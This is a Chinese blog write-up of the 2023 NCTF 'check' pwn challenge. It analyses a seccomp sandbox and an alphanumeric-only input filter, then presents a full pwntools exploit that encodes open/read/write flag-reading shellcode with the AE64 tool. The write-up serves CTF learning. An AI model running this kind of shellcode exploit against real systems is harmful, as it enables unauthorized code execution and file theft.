首页 > 系统相关 >2023NCTFcheck题解-关于可视化shellcode以及AE64真香

2023NCTFcheck题解-关于可视化shellcode以及AE64真香

时间:2024-01-01 22:01:08浏览次数:32  
标签:2023NCTFcheck 题解 0x00 pop QWORD push v8 AE64 rax

以后我会尽量少用图片,因为我经常在翻别人博客时发现图片加载不出来,很烦。

看看checksec

2023NCTFcheck题解-关于可视化shellcode以及AE64真香_2023NCTF

再看看IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rbx
  __int64 v4; // rbx
  __int64 v5; // rbx
  unsigned __int64 v7; // [rsp+8h] [rbp-28h]
  char *v8; // [rsp+10h] [rbp-20h]
  int i; // [rsp+1Ch] [rbp-14h]

  v8 = (char *)mmap((void *)0x20230000, 0x1000uLL, 7, 34, -1, 0LL);
  if ( v8 == (char *)-1LL )
  {
    perror("mmap");
    exit(1);
  }
  write(1, "Give me your shellcode: ", 0x18uLL);
  v7 = read(0, v8 + 48, 0x100uLL);
  for ( i = 0; i < v7; ++i )
  {
    if ( (v8[i + 48] <= 96 || v8[i + 48] > 122)
      && (v8[i + 48] <= 64 || v8[i + 48] > 90)
      && (v8[i + 48] <= 47 || v8[i + 48] > 57)
      && v8[i + 48] != 47 )
    {
      printf("Invalid character: %c\n", (unsigned int)v8[i]);
      exit(1);
    }
  }
  v3 = qword_4088;
  *(_QWORD *)v8 = payload;
  *((_QWORD *)v8 + 1) = v3;
  v4 = qword_4098;
  *((_QWORD *)v8 + 2) = qword_4090;
  *((_QWORD *)v8 + 3) = v4;
  v5 = qword_40A8;
  *((_QWORD *)v8 + 4) = qword_40A0;
  *((_QWORD *)v8 + 5) = v5;
  sandbox();
  ((void (*)(void))v8)();
  return 0;
}

沙盒,看看限了哪些。

小tip,这样直接seccomp无法得出检查结果,会执行程序,而只有执行程序之后才会出结果.可以ctrl加d关闭输入流,就可以不带回车输入。类似sendsendline。(因为这题如果输回车程序会检查到b'\n'这个字符导致程序退出,无法得到结果)

2023NCTFcheck题解-关于可视化shellcode以及AE64真香_2023NCTF_02

这么看那就必须ORW了,不喜欢ORW,害。不懂ORW的话可以看看我之前的博客或者搜一下别人的资料。

这题沙盒还有比较特殊的就是其中read的时候还会检查你的fd和count。但是这个沙盒的逻辑感觉比较绕的。

沙盒的执行逻辑是再执行syscall的时候把各种需要检查的值赋给这个叫做A的变量,然后一行一行的往下走,就像C的if判断一样检查。

 0014: 0x15 0x00 0x05 0x00000000  if (A != read) goto 0020
 0015: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
 0016: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0020
 0017: 0x20 0x00 0x00 0x00000020  A = count # read(fd, buf, count)
 0018: 0x15 0x00 0x01 0x00000001  if (A != 0x1) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x15 0x00 0x05 0x00000001  if (A != 1) goto 0026
 0021: 0x20 0x00 0x00 0x00000010  A = args[0]
 0022: 0x15 0x00 0x03 0x00000001  if (A != 0x1) goto 0026
 0023: 0x20 0x00 0x00 0x00000020  A = args[2]
 0024: 0x15 0x00 0x01 0x00000001  if (A != 0x1) goto 0026
 0025: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0026: 0x06 0x00 0x00 0x00000000  return KILL

可以看到沙盒中如果sys_number = read会检查fd是否为0或1,如果都不是,就会goto0026,也就是kill了。而且如果fd为0的话,还会检查read的返回值。只有当read的返回值为1才会ALLOW。因为read返回值其实就是读了几个字节,所以我们每次只能读一个字节。呃,我也讲不太清楚自行理解吧。还有就是后面会检查参数0,参数2.args[0],args[2]

一个不重要的小细节

当时看到这一段,比较好奇这是干嘛用的,后来再gdb里跑一遍就发现其实就是把除了rsp和rip之外的所有寄存器xor自己了一下,全部置零。如图所示。

  v3 = qword_4088;
  *(_QWORD *)v8 = payload;
  *((_QWORD *)v8 + 1) = v3;
  v4 = qword_4098;
  *((_QWORD *)v8 + 2) = qword_4090;
  *((_QWORD *)v8 + 3) = v4;
  v5 = qword_40A8;
  *((_QWORD *)v8 + 4) = qword_40A0;
  *((_QWORD *)v8 + 5) = v5;
  sandbox();

2023NCTFcheck题解-关于可视化shellcode以及AE64真香_2023NCTF_03

爆破思路

他这题很明显给了一个执行shellcode的机会。麻烦在于必须用可视化字符。

for ( i = 0; i < v7; ++i )
  {
    if ( (v8[i + 48] <= 96 || v8[i + 48] > 122)
      && (v8[i + 48] <= 64 || v8[i + 48] > 90)
      && (v8[i + 48] <= 47 || v8[i + 48] > 57)
      && v8[i + 48] != 47 )
    {
      printf("Invalid character: %c\n", (unsigned int)v8[i]);
      exit(1);
    }
  }

只能用0-9,a-z,A-Z的字符构造shellcode。会导致我们可以写的汇编代码受到严重限制。

这时候就必须引出我们的神器AE64了。它可以帮你构造出你写的任意shellcode。而不需要局限于可视的字符串。至于具体如何用AE64就看看exp吧。

PS:AE64是我学长做的,杭电大师傅!!太强啦!!都给我取star一下hhh。

EXP

from ae64 import AE64
from pwn import *
context(
    terminal = ['tmux','splitw','-h'],
    os = "linux",
    arch = "amd64",
    # arch = "i386",
    log_level="debug",
)
# io = remote("8.130.35.16",58002)
io = process("./checkin-release")
def debug():
    gdb.attach(io,
    '''
b *$rebase(0x1764)
c
    ''')
debug()
code="""
    xor rdi,rdi
    push rdi;pop rdx
    push rdx;pop rsi
    push 0x3
    pop rax
    syscall #close(0)#rax = 3
    push 0x2
    pop rax
    push 0x202300f3 #flag_str
    pop rdi
    syscall #open(flag_str,0,0)#rax = 0
    push 0x20230200 #store_flag_adr
    pop rsi
    push 0x1
    pop rdx
readloop:
    xor rax,rax
    push rax;pop rdi
    syscall #read(0,store_flag_adr,1)
    push rdx;pop rdi
    syscall #write_flag(1,store_flag_str,1)
    inc rsi
    cmp rax,0
    jne readloop
"""
obj=AE64()
code=(obj.encode(asm(code),strategy="small",offset=0x34,register="rax"))
payload = asm("pop rax")*4+code+b"flag"
print(hex(len(payload)))
io.send(payload)
io.interactive()

这个题还限制字节,主要是用了AE64之后会多很多字节,因为AE64的原理其实是在用xor来构造你的shellcode。(xor对应的机器码的ASC码是可视化的。)

所以这里用了很多省字节的技巧,比如下面这些。

mov rax,5(七字节)-->(三字节)push 0x5;pop rax
mov rax,0(七字节)-->(两字节)push rdi,pop rax(假设rdi在这时候是0)
mov rax,0(七子节)-->(三字节)xor rax,rax

这里给大家一个机器码和汇编代码互换的网站。挺好用的。

标签:2023NCTFcheck,题解,0x00,pop,QWORD,push,v8,AE64,rax
From: https://blog.51cto.com/u_16356440/9058508

相关文章

  • P9753 [CSP-S 2023] 消消乐 题解
    这里是被说烂了的随机化线性做法。相信大家都已经做过QOJ6504,因此我们考虑采用类似的办法通过此题。我们对每个字符随机一个\(k\timesk\)的矩阵,并求出其矩阵的逆。然后,我们在偶数位放原矩阵,在奇数位放逆矩阵,这样,一段区间合法当且仅当这段区间的矩阵积为单位矩阵\(I\),原因......
  • CSP-S 题解
    非考场上想出来的会标星号。T1密码锁鲜花:我看到这道题的时候满脑子想的都是春测的lock。考虑到只有五个拨圈,每个拨圈只有\(10\)个状态,\(n\le8\),那么直接暴力枚举每个状态即可。考场代码://15:00//15:24.#include<bits/stdc++.h>usingnamespacestd;constin......
  • CF1748F 题解
    这3000?以下,\(\operatorname{op}(i)\)代表对\(i\)进行一次操作。我们考虑暴力。因为每一位都是分开处理的,我们考虑仅仅把一段区间的端点交换。即我们希望通过\(\operatorname{solve(l,r)}\)把\(a_ia_j\)交换而其他下标不动。一个显然的想法是,我们一定需要大量的前后缀异......
  • CF1844G 题解
    鉴定为学MO学的。MO中著名的《数学奥林匹克小丛书高中卷》的第十五本曾经讲过,如果原方程较难解,可以考虑给左右两边同时对\(M\)取模,然后研究取模以后的问题,其中\(M\)为一个根据问题选取的适当的整数。我们看见这个问题觉得很烦,因为大家都能发现这个条件给的相当于\(d_i+d......
  • P4894 题解
    实际上,这是两个向量的叉积已经是其他题解说烂了的。这里只是给出一个容易记忆\(dim\le3\)的行列式的值的办法。我们以\(3\)维行列式为例子,假设为\[\begin{vmatrix}a&b&c\\i&j&k\\o&p&q\end{vmatrix}\]我们有一个神奇的方法来记忆这个行列式的求值。首......
  • AT_arc127_a 题解
    在HL群里吃瓜,顺手写一篇题解。第一眼必定是数位dp,可是这会使原题难度反而升高了。相对而言,我们要是枚举前缀\(1\)的长度,然后寻找对答案有贡献的区间,此问题是很容易的。同时我们不难发现,前缀\(1\)长度为\(l\)的所有有贡献的数字即为\(\foralli\in[l,16],(\sum_{i=0}^l1......
  • CF1239E 题解
    因为懒得用bitsetMLE了。所以各位想A这题的别偷懒用布尔数组!本题解意在解释如何做类似的dp题,而不在于解释本道题做法的具体推导,只是给出一个思路。我们观察发现,题目想让我们最小化一个最大值。我们并不能枚举每种方案去找最大值再取\(\min\),这样复杂度爆炸而且没有前途......
  • AGC034F 题解
    FWT入门题,很适合我这样的蒟蒻。首先我们可以轻松的根据转移条件写出来一个优美的函数\(T(i)=1+\sum_{j\oplusk=i}a_kT(j)\),边界为\(T(0)=0\)。这个方程属于转移带环的DP,处理方法一般是高斯消元,在这道题里会T飞。但是我们又注意到后边是一个美丽的异或卷积,因此可以考虑用......
  • P6256 题解
    我认为,这道题是我学OI历史以来做过的最难写,最难受,最变态,最不可做,最怀疑人生的题。然后还莫名其妙遇见了!给出一种时间复杂度略劣于ix35的做法。因为本人码力不是很好,因此认为这道题讲讲代码写法也很必要。题意就是给一些线段上戳洞,使得对于给定的一个区间\([l,r]\),从无穷远......
  • P9438 题解
    对于一次询问,相当于在考虑整数\(\frac{n}{x}\)变为\(1\)的方案数。进一步的,这相当于给定一个数列\(c_0\cdotsc_k\),每一次可以减小任意位的任意值,但不能空选,问方案数,这里“空选”指的是不选任何一个数。先考虑允许空选的时候应该怎么做,令\(f(x)\)代表正好走了\(x\)步变......